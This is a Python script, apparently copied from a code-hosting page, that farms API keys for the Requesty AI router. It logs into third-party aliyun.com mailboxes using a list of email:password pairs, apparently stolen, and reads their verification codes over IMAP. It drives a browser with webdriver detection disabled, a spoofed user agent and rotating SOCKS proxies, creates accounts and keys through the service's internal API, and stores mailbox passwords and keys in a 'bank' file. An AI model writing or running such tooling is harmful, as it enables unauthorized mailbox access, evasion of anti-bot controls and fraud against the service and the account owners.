169 lines
8.4 KiB
Python
169 lines
8.4 KiB
Python
|
|
import os, sys, time, json, re, imaplib, email, urllib.request, random
|
|
BASE=r'C:/Users/User/tmp/requesty'; LOG=BASE+'/ff.log'
|
|
LF=open(LOG,'a',encoding='utf-8')
|
|
def L(*a):
|
|
s=' '.join(str(x) for x in a); LF.write(s+'\n'); LF.flush()
|
|
PW=os.environ.get('RQ_PW','Rq!2026Str0ngPass')
|
|
N=int(sys.argv[1]) if len(sys.argv)>1 else 3
|
|
OFF=int(sys.argv[2]) if len(sys.argv)>2 else 0
|
|
IMAPMAP=json.load(open(r'C:/Users/User/tmp/mail66k/discovered_imap.json'))
|
|
PROXIES=[{'server':'socks5://127.0.0.1:1091'},{'server':'socks5://127.0.0.1:1092'},{'server':'socks5://127.0.0.1:1093'},None]
|
|
DONEFILE=BASE+'/used_ff.txt'
|
|
|
|
def load_pool():
|
|
used=set(open(DONEFILE).read().split()) if os.path.exists(DONEFILE) else set()
|
|
used|=set(open(BASE+'/used_mails3.txt').read().split()) if os.path.exists(BASE+'/used_mails3.txt') else set()
|
|
out=[]
|
|
for line in open(r'C:/Users/User/tmp/mail66k/LIVE/live_all.txt',errors='ignore'):
|
|
line=line.strip()
|
|
if not line or ':' not in line: continue
|
|
u,p=line.split(':',1)
|
|
dom=u.split('@')[-1].lower()
|
|
if dom!='aliyun.com' or u in used: continue
|
|
out.append((u,p,dom))
|
|
random.shuffle(out)
|
|
return out[OFF:]
|
|
|
|
def imap_get(host,port,u,p,timeout=220):
|
|
end=time.time()+timeout
|
|
while time.time()<end:
|
|
try:
|
|
c=imaplib.IMAP4_SSL(host,993,timeout=20); c.login(u,p)
|
|
folders=['INBOX']
|
|
try:
|
|
t,fl=c.list()
|
|
for f in fl or []:
|
|
s=f.decode('utf-8','ignore'); m=re.search(r'\)\s+"([^"]*)"\s+"?([^"]+)"?\s*$',s)
|
|
if m and any(k in m.group(2).lower() for k in ('inbox','spam','junk')):
|
|
if m.group(2) not in folders: folders.append(m.group(2))
|
|
except Exception: pass
|
|
for f in folders[:6]:
|
|
try: c.select(f,readonly=True)
|
|
except Exception: continue
|
|
ids=[]
|
|
try:
|
|
t,d=c.search(None,'FROM','requesty'); ids=d[0].split() if d and d[0] else []
|
|
except Exception: pass
|
|
if not ids:
|
|
try:
|
|
t,d=c.search(None,'ALL'); ids=d[0].split()[-8:] if d and d[0] else []
|
|
except Exception: ids=[]
|
|
for i in reversed(ids[-8:]):
|
|
try:
|
|
t,m=c.fetch(i,'(RFC822)'); msg=email.message_from_bytes(m[0][1])
|
|
subj=str(email.header.make_header(email.header.decode_header(msg['Subject'] or '')))
|
|
if 'requesty' in (subj+(msg['From'] or '')).lower():
|
|
mm=re.search(r'\b(\d{6})\b',subj)
|
|
if mm: c.logout(); return mm.group(1)
|
|
except Exception: pass
|
|
c.logout()
|
|
except Exception: pass
|
|
time.sleep(6)
|
|
return None
|
|
|
|
def probe(key):
|
|
body=json.dumps({"model":"nvidia/nemotron-3-ultra-550b-a55b","messages":[{"role":"user","content":"Reply OK"}],"max_tokens":200}).encode()
|
|
req=urllib.request.Request('https://router.requesty.ai/v1/chat/completions',data=body,headers={'Authorization':'Bearer '+key,'Content-Type':'application/json'})
|
|
try:
|
|
r=urllib.request.urlopen(req,timeout=120); d=json.loads(r.read().decode())
|
|
return True,(d['choices'][0]['message'].get('content') or '')[:12]
|
|
except Exception as e:
|
|
try: return False, e.read().decode()[:50]
|
|
except Exception: return False, str(e)[:50]
|
|
|
|
|
|
import urllib.error
|
|
def api(jwt, method, path, body=None):
|
|
h={'Authorization':'Bearer '+jwt,'Origin':'https://app.requesty.ai','Referer':'https://app.requesty.ai/api-keys','Content-Type':'application/json'}
|
|
req=urllib.request.Request('https://api-v2.requesty.ai'+path, data=(json.dumps(body).encode() if body is not None else None), method=method, headers=h)
|
|
try:
|
|
r=urllib.request.urlopen(req,timeout=40); return r.status, r.read().decode()
|
|
except urllib.error.HTTPError as e: return e.code, e.read().decode()[:300]
|
|
except Exception as e: return 0, str(e)[:120]
|
|
|
|
def make_key(jwt):
|
|
st,b=api(jwt,'GET','/v1/organization')
|
|
if st!=200: return None,'org %d'%st
|
|
try: gid=json.loads(b)['org']['default_group_id']
|
|
except Exception: return None,'no gid'
|
|
st2,b2=api(jwt,'POST','/v1/apikey',{"name":"goth-ff-"+os.urandom(2).hex(),"permissions":{"manage":"none","completions":"write"},"group_id":gid})
|
|
if st2==200:
|
|
try: return json.loads(b2)['api_key'],'ok'
|
|
except Exception: return None,'parse'
|
|
return None,'post %d %s'%(st2,b2[:80])
|
|
|
|
from playwright.sync_api import sync_playwright
|
|
alive=0; tried=0
|
|
with sync_playwright() as pw:
|
|
for idx in range(N):
|
|
pool=load_pool()
|
|
if not pool: L('pool empty'); break
|
|
addr,mpass,dom=pool[0]; tried+=1
|
|
px=PROXIES[idx%len(PROXIES)]
|
|
L('=== %s px=%s'%(addr,px))
|
|
key=''
|
|
try:
|
|
br=pw.firefox.launch(headless=False, proxy=px, firefox_user_prefs={
|
|
'dom.webdriver.enabled':False, 'useAutomationExtension':False})
|
|
ctx=br.new_context(viewport={'width':1366,'height':900}, locale='en-US',
|
|
user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:155.0) Gecko/20100101 Firefox/155.0')
|
|
pg=ctx.new_page()
|
|
pg.goto('https://app.requesty.ai/sign-up', wait_until='domcontentloaded', timeout=90000)
|
|
pg.wait_for_selector('input[name=emailAddress]', timeout=50000)
|
|
pg.fill('input[name=emailAddress]', addr); pg.fill('input[name=password]', PW)
|
|
cb=pg.query_selector('input[name=legalAccepted]')
|
|
if cb:
|
|
try: cb.click()
|
|
except Exception: pg.evaluate("()=>{const c=document.querySelector('input[name=legalAccepted]'); if(c&&!c.checked) c.click();}")
|
|
time.sleep(1)
|
|
submitted=False
|
|
try:
|
|
pg.focus('input[name=password]'); pg.keyboard.press('Enter'); submitted=True
|
|
except Exception: pass
|
|
if not submitted or True:
|
|
try:
|
|
pg.evaluate("()=>{const b=[...document.querySelectorAll('button')].find(x=>/continue/i.test(x.innerText)); if(b) b.click();}")
|
|
except Exception: pass
|
|
state='none'; end=time.time()+100
|
|
while time.time()<end:
|
|
time.sleep(3)
|
|
try: low=pg.inner_text('body')[:400].lower()
|
|
except Exception: low=''
|
|
if 'verify your email' in low or 'verification code' in low: state='code'; break
|
|
if 'already in use' in low: state='taken'; break
|
|
if 'could not be completed' in low: state='blocked'; break
|
|
L(' state',state)
|
|
if state=='code':
|
|
code=imap_get('imap.aliyun.com',993,addr,mpass)
|
|
L(' code',code)
|
|
if code:
|
|
r=pg.evaluate("""async (c)=>{try{
|
|
const su=window.Clerk.client.signUp;
|
|
const r1=await su.attemptEmailAddressVerification({code:c});
|
|
const o={s:r1.status,miss:r1.missingFields,sess:r1.createdSessionId};
|
|
if(su.createdSessionId){await window.Clerk.setActive({session:su.createdSessionId}); o.act=!!window.Clerk.session;}
|
|
return JSON.stringify(o);}catch(e){return 'ERR '+String(e&&(e.errors?JSON.stringify(e.errors):e)).slice(0,150);}}""", code)
|
|
L(' sdk',str(r)[:140])
|
|
time.sleep(2)
|
|
jwt=pg.evaluate("""async ()=>{try{ if(!window.Clerk.session) return ''; return await window.Clerk.session.getToken(); }catch(e){ return ''; }}""")
|
|
if isinstance(jwt,str) and jwt.startswith('eyJ'):
|
|
L(' jwt',len(jwt))
|
|
key,why=make_key(jwt)
|
|
L(' mkkey',why)
|
|
else:
|
|
L(' no jwt')
|
|
br.close()
|
|
except Exception as e:
|
|
L(' ERR',str(e)[:110])
|
|
open(DONEFILE,'a').write(addr+'\n')
|
|
if key:
|
|
a,m=probe(key); alive+=1 if a else 0
|
|
open(BASE+'/bank.jsonl','a',encoding='utf-8').write(json.dumps({'email':addr,'mail_pw':mpass,'pw':PW,'key':key,'alive':a,'msg':m,'tag':'FF','ts':int(time.time())})+'\n')
|
|
L(' RESULT alive' if a else ' RESULT dead', m)
|
|
else:
|
|
L(' RESULT nokey')
|
|
time.sleep(random.randint(3,8))
|
|
L('DONE FF tried=%d alive=%d'%(tried,alive))
|
|
print('ff done tried=%d alive=%d'%(tried,alive))
|